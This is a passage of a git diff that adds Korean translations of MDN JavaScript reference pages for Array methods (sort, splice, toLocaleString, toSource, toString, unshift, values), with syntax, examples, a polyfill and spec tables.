+console.log('Sorted:', stringArray.sort());
+
+console.log('numberArray:', numberArray.join());
+console.log('Sorted without a compare function:', numberArray.sort());
+console.log('Sorted with compareNumbers:', numberArray.sort(compareNumbers));
+
+console.log('numericStringArray:', numericStringArray.join());
+console.log('Sorted without a compare function:', numericStringArray.sort());
+console.log('Sorted with compareNumbers:', numericStringArray.sort(compareNumbers));
+
+console.log('mixedNumericArray:', mixedNumericArray.join());
+console.log('Sorted without a compare function:', mixedNumericArray.sort());
+console.log('Sorted with compareNumbers:', mixedNumericArray.sort(compareNumbers));
+</pre>
+
+<p>이 예제는 다음 출력을 생성합니다. 결과가 보여 주듯이 비교 함수가 사용되면 숫자는 숫자 또는 숫자 문자열인지 여부에 관계없이 올바르게 정렬됩니다.</p>
+
+<pre>stringArray: Blue,Humpback,Beluga
+Sorted: Beluga,Blue,Humpback
+
+numberArray: 40,1,5,200
+Sorted without a compare function: 1,200,40,5
+Sorted with compareNumbers: 1,5,40,200
+
+numericStringArray: 80,9,700
+Sorted without a compare function: 700,80,9
+Sorted with compareNumbers: 9,80,700
+
+mixedNumericArray: 80,9,700,40,1,5,200
+Sorted without a compare function: 1,200,40,5,700,80,9
+Sorted with compareNumbers: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="비_ASCII_문자_정렬">비 ASCII 문자 정렬</h3>
+
+<p>ASCII 이외의 문자, 즉 악센트 부호가있는 문자 (e, é, è, a, ä 등)가있는 문자열을 정렬하려면 영어가 아닌 다른 언어의 문자열에 {{jsxref ( "String.localeCompare")}}를 사용하십시오. 이 함수는 해당 문자를 비교하여 올바른 순서로 나타낼 수 있습니다.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items is ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="map을_사용한_정렬">map을 사용한 정렬</h3>
+
+<p><code>compareFunction</code>은 배열 내의 요소마다 여러 번 호출될 수 있습니다. 이러한 <code>compareFunction</code>의 성질에 따라,  높은 오버헤드가 발생할 수도 있습니다. <code>compareFunction</code>이 복잡해지고, 정렬할 요소가 많아질 경우, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>을 사용한 정렬을 고려해보는 것이 좋습니다. 이 방법은 임시 배열을 하나 만들어서 여기에 실제 정렬에 사용할 값만을 뽑아서 넣어서 이를 정렬하고, 그 결과를 이용해서 실제 정렬을 하는 것입니다.</p>
+
+<pre class="brush: js">// 소트 할 배열
+var list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// 임시 배열은 위치 및 정렬 값이있는 객체를 보유합니다.
+var mapped = list.map(function(el, i) {
+  return { index: i, value: el.toLowerCase() };
+})
+
+// 축소 치를 포함한 매핑 된 배열의 소트
+mapped.sort(function(a, b) {
+  return +(a.value &gt; b.value) || +(a.value === b.value) - 1;
+});
+
+// 결과 순서를 위한 컨테이너
+var result = mapped.map(function(el){
+  return list[el.index];
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.sort")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/splice/index.html b/files/ko/web/javascript/reference/global_objects/array/splice/index.html
new file mode 100644
index 0000000000..eb2a09af12
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/splice/index.html
@@ -0,0 +1,153 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/splice
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>splice()</strong></code> 메서드는 배열의 기존 요소를 삭제 또는 교체하거나 새 요소를 추가하여 배열의 내용을 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">array.splice(<em>start</em>[, <em>deleteCount</em>[, <em>item1</em>[, <em>item2</em>[, <em>...</em>]]]])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>배열의 변경을 시작할 인덱스입니다. 배열의 길이보다 큰 값이라면 실제 시작 인덱스는 배열의 길이로 설정됩니다. 음수인 경우 배열의 끝에서부터 요소를 세어나갑니다(원점 -1, 즉 -n이면 요소 끝의 n번째 요소를 가리키며 <code>array.length - n</code>번째 인덱스와 같음). 값의 절대값이 배열의 길이 보다 큰 경우 0으로 설정됩니다.</dd>
+ <dt><code>deleteCount</code> {{optional_inline}}</dt>
+ <dd>배열에서 제거할 요소의 수입니다.</dd>
+ <dd><code>deleteCount</code>를 생략하거나 값이 <code>array.length - start</code>보다 크면 <code>start</code>부터의 모든 요소를 제거합니다.</dd>
+ <dd><code>deleteCount</code>가 0 이하라면 어떤 요소도 제거하지 않습니다. 이 때는 최소한 하나의 새로운 요소를 지정해야 합니다.</dd>
+ <dt><code>item1, item2, <em>...</em></code> {{optional_inline}}</dt>
+ <dd>배열에 추가할 요소입니다. 아무 요소도 지정하지 않으면 <code>splice()</code>는 요소를 제거하기만 합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>제거한 요소를 담은 배열. 하나의 요소만 제거한 경우 길이가 1인 배열을 반환합니다. 아무 값도 제거하지 않았으면 빈 배열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 제거할 요소의 수와 추가할 요소의 수가 다른 경우 배열의 길이는 달라집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="하나도_제거하지_않고_2번_인덱스에_drum_추가">하나도 제거하지 않고, 2번 인덱스에 "drum" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum');
+
+// myFish is ["angel", "clown", "drum", "mandarin", "sturgeon"]
+// removed is [], no elements removed</pre>
+
+<h3 id="하나도_제거하지_않고_2번_인덱스에_drum과_guitar_추가">하나도 제거하지 않고, 2번 인덱스에 "drum"과 "guitar" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2, 0, 'drum', 'guitar');
+
+// myFish is ["angel", "clown", "drum", "guitar", "mandarin", "sturgeon"]
+// removed is [], no elements removed
+</pre>
+
+<h3 id="3번_인덱스에서_한_개_요소_제거">3번 인덱스에서 한 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(3, 1);
+
+// removed is ["mandarin"]
+// myFish is ["angel", "clown", "drum", "sturgeon"]
+</pre>
+
+<h3 id="2번_인덱스에서_한_개_요소_제거하고_trumpet_추가">2번 인덱스에서 한 개 요소 제거하고 "trumpet" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'drum', 'sturgeon'];
+var removed = myFish.splice(2, 1, 'trumpet');
+
+// myFish is ["angel", "clown", "trumpet", "sturgeon"]
+// removed is ["drum"]</pre>
+
+<h3 id="0번_인덱스에서_두_개_요소_제거하고_parrot_anemone_blue_추가">0번 인덱스에서 두 개 요소 제거하고 "parrot", "anemone", "blue" 추가</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(0, 2, 'parrot', 'anemone', 'blue');
+
+// myFish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"]
+// removed is ["angel", "clown"]</pre>
+
+<h3 id="2번_인덱스에서_두_개_요소_제거">2번 인덱스에서 두 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'];
+var removed = myFish.splice(myFish.length - 3, 2);
+
+// myFish is ["parrot", "anemone", "sturgeon"]
+// removed is ["blue", "trumpet"]</pre>
+
+<h3 id="-2번_인덱스에서_한_개_요소_제거">-2번 인덱스에서 한 개 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(-2, 1);
+
+// myFish is ["angel", "clown", "sturgeon"]
+// removed is ["mandarin"]</pre>
+
+<h3 id="2번_인덱스를_포함해서_이후의_모든_요소_제거">2번 인덱스를 포함해서 이후의 모든 요소 제거</h3>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+var removed = myFish.splice(2);
+
+// myFish is ["angel", "clown"]
+// removed is ["mandarin", "sturgeon"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.splice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()", "push()")}} / {{jsxref("Array.prototype.pop()", "pop()")}} — 배열 끝에 요소를 추가하거나 제거</li>
+ <li>{{jsxref("Array.prototype.unshift()", "unshift()")}} / {{jsxref("Array.prototype.shift()", "shift()")}} — 배열 처음에 요소를 추가하거나 제거</li>
+ <li>{{jsxref("Array.prototype.concat()", "concat()")}} — 배열과 배열 또는 값을 합친 새로운 배열 반환</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html
new file mode 100644
index 0000000000..4fc1bd7f1a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tolocalestring/index.html
@@ -0,0 +1,195 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+tags:
+  - Array
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toLocaleString()</strong></code> 메서드는 배열의 요소를 나타내는 문자열을 반환합니다. 요소는 <code>toLocaleString</code> 메서드를 사용하여 문자열로 변환되고 이 문자열은 locale 고유 문자열(가령 쉼표 “,”)에 의해 분리됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toLocaleString([locales[, options]]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>A string with a BCP 47 language tag, or an array of such strings. For the general form and interpretation of the <code>locales</code> argument, see the {{jsxref("Intl")}} page.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>An object with configuration properties, for numbers see {{jsxref("Number.prototype.toLocaleString()")}}, and for dates see {{jsxref("Date.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 요소를 표현하는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>배열의 요소는 <code>toLocaleString</code> 메서드를 사용하여 문자열로 변환됩니다:</p>
+
+<ul>
+ <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toLocaleString_사용"><code>toLocaleString</code> 사용</h3>
+
+<pre class="brush: js">var number = 1337;
+var date = new Date();
+var myArr = [number, date, 'foo'];
+
+var str = myArr.toLocaleString();
+
+console.log(str);
+// '1337,6.12.2013 19:37:35,foo' 출력(log)
+// Europe/Berlin 시간대로 German (de-DE) locale에서 실행하는 경우
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
+if (!Array.prototype.toLocaleString) {
+  Object.defineProperty(Array.prototype, 'toLocaleString', {
+    value: function(locales, options) {
+      // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" is null or not defined');
+      }
+
+      var a = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(A, "length")).
+      var len = a.length &gt;&gt;&gt; 0;
+
+      // 3. Let separator be the String value for the
+      //    list-separator String appropriate for the
+      //    host environment's current locale (this is
+      //    derived in an implementation-defined way).
+      // NOTE: In this case, we will use a comma
+      var separator = ',';
+
+      // 4. If len is zero, return the empty String.
+      if (len === 0) {
+        return '';
+      }
+
+      // 5. Let firstElement be ? Get(A, "0").
+      var firstElement = a[0];
+      // 6. If firstElement is undefined or null, then
+      //  a.Let R be the empty String.
+      // 7. Else,
+      //  a. Let R be ?
+      //     ToString(?
+      //       Invoke(
+      //        firstElement,
+      //        "toLocaleString",
+      //        « locales, options »
+      //       )
+      //     )
+      var r = firstElement == null ?
+        '' : firstElement.toLocaleString(locales, options);
+
+      // 8. Let k be 1.
+      var k = 1;
+
+      // 9. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let S be a String value produced by
+        //   concatenating R and separator.
+        var s = r + separator;
+
+        // b. Let nextElement be ? Get(A, ToString(k)).
+        var nextElement = a[k];
+
+        // c. If nextElement is undefined or null, then
+        //   i. Let R be the empty String.
+        // d. Else,
+        //   i. Let R be ?
+        //     ToString(?
+        //       Invoke(
+        //        nextElement,
+        //        "toLocaleString",
+        //        « locales, options »
+        //       )
+        //     )
+        r = nextElement == null ?
+          '' : nextElement.toLocaleString(locales, options);
+
+        // e. Let R be a String value produced by
+        //   concatenating S and R.
+        r = s + r;
+
+        // f. Increase k by 1.
+        k++;
+      }
+
+      // 10. Return R.
+      return r;
+    }
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sup-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td>This definition supersedes the definition provided in ECMA-262.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.toLocaleString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tosource/index.html b/files/ko/web/javascript/reference/global_objects/array/tosource/index.html
new file mode 100644
index 0000000000..e503b9c617
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tosource/index.html
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toSource
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>toSource()</strong></code> 메서드는 해당 배열의 소스 코드를 문자열로 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.toSource()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열의 소스 코드를 나타내는 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource</code> 메서드는 다음의 값을 반환합니다.</p>
+
+<ul>
+ <li>내장 된 {{jsxref("Array")}} 객체의 경우에는 <code>toSource</code>는 소스 코드를 사용할 수 없음을 나타내며 다음의 문자열을 반환합니다.
+
+  <pre class="brush: js">function Array() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>{{jsxref("Array")}} 인스턴스의 경우에는<code>toSource</code>는 소스 코드를 나타내는 문자열을 반환합니다.</li>
+</ul>
+
+<p>이 메서드는 보통 코드에 명시되지 않고 자바스크립트 내부적으로 호출됩니다. 디버깅을 위해 <code>toSource</code>를 호출하여 배열의 내용을 검사할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_소스_코드_검사하기">배열의 소스 코드 검사하기</h3>
+
+<p>다음 코드는 배열의 소스 코드 문자열을 생성합니다.</p>
+
+<pre class="brush: js">var alpha = new Array('a', 'b', 'c');
+
+alpha.toSource();
+//returns ['a', 'b', 'c']
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>Not part of any standard. Implemented in JavaScript 1.3.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.toSource")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/tostring/index.html b/files/ko/web/javascript/reference/global_objects/array/tostring/index.html
new file mode 100644
index 0000000000..9a1179be14
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/tostring/index.html
@@ -0,0 +1,80 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Array/toString
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toString()</strong></code> 메서드는 지정된 배열 및 그 요소를 나타내는 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-tostring.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열을 표현하는 문자열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Array")}} 객체는 {{jsxref("Object")}}의 <code>toString</code> 메서드를 재정의(override)합니다. Array 객체에 대해, <code>toString</code> 메서드는 배열을 합쳐(join) 쉼표로 구분된 각 배열 요소를 포함하는 문자열 하나를 반환합니다. 예를 들어, 다음 코드는 배열을 생성하며 그 배열을 문자열로 변환하기 위해 <code>toString</code>을 사용합니다.</p>
+
+<pre class="brush: js">var monthNames = ['Jan', 'Feb', 'Mar', 'Apr'];
+var myVar = monthNames.toString(); // 'Jan,Feb,Mar,Apr'을 myVar에 할당.
+</pre>
+
+<p>JavaScript는 배열이 텍스트 값으로 표현되거나 배열이 문자열 연결(concatenation)에 참조될 때 자동으로 <code>toString</code> 메서드를 호출합니다.</p>
+
+<h3 id="ECMAScript_5_의미">ECMAScript 5 의미</h3>
+
+<p>JavaScript 1.8.5 (Firefox 4)부터, ECMAScript 제5판 의미(semantics)와 일치하는 <code>toString()</code> 메서드는 일반(generic) 메서드이므로 모든 객체에 사용될 수 있습니다. 객체가 <code>join()</code> 메서드가 있는 경우, 호출되어 그 값이 반환됩니다. 그렇지 않으면 {{jsxref("Object.prototype.toString()")}}가 호출되어 그 결과값이 반환됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/unshift/index.html b/files/ko/web/javascript/reference/global_objects/array/unshift/index.html
new file mode 100644
index 0000000000..c4a03fd091
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/unshift/index.html
@@ -0,0 +1,91 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/unshift
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>unshift()</strong></code> 메서드는 새로운 요소를 배열의 맨 앞쪽에 추가하고, 새로운 길이를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-unshift.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.unshift([...elementN])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>배열 맨 앞에 추가할 요소.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>메서드를 호출한 배열의 새로운 {{jsxref("Array.length", "length")}} 속성.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>unshift</code> 메서드는 배열 형태의 객체 시작점에 주어진 값을 삽입합니다.</p>
+
+<p><code>unshift</code>는 제네릭하도록 설계되었으며, 배열 형태를 가진 객체가 {{jsxref("Function.call", "호출", "", 1)}}하거나 객체에 {{jsxref("Function.apply", "적용", "", 1)}}할 수 있습니다. <code>length</code> 속성을 가지지 않고, 대신 마지막 요소를 0부터 시작하는 순차적 인덱스로만 나타내는 객체에서는 의도한 것과 다르게 행동할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var arr = [1, 2];
+
+arr.unshift(0); // result of call is 3, the new array length
+// arr is [0, 1, 2]
+
+arr.unshift(-2, -1); // = 5
+// arr is [-2, -1, 0, 1, 2]
+
+arr.unshift([-3]);
+// arr is [[-3], -2, -1, 0, 1, 2]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.13', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.unshift', 'Array.prototype.unshift')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.unshift")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/values/index.html b/files/ko/web/javascript/reference/global_objects/array/values/index.html
new file mode 100644
index 0000000000..eb66adb964
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/values/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Array/values
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>values()</code></strong> 메서드는 배열의 각 인덱스에 대한 값을 가지는 새로운 <strong><code>Array Iterator</code></strong> 객체를 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-values.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 반복기 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for...of_루프를_통한_반복"><code>for...of</code> 루프를 통한 반복</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+// your browser must support for..of loop
+// and let-scoped variables in for loops
+for (let letter of eArr) {
+  console.log(letter);
+}
+</pre>
+
+<h3 id="다른_반복법">다른 반복법</h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr.values();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
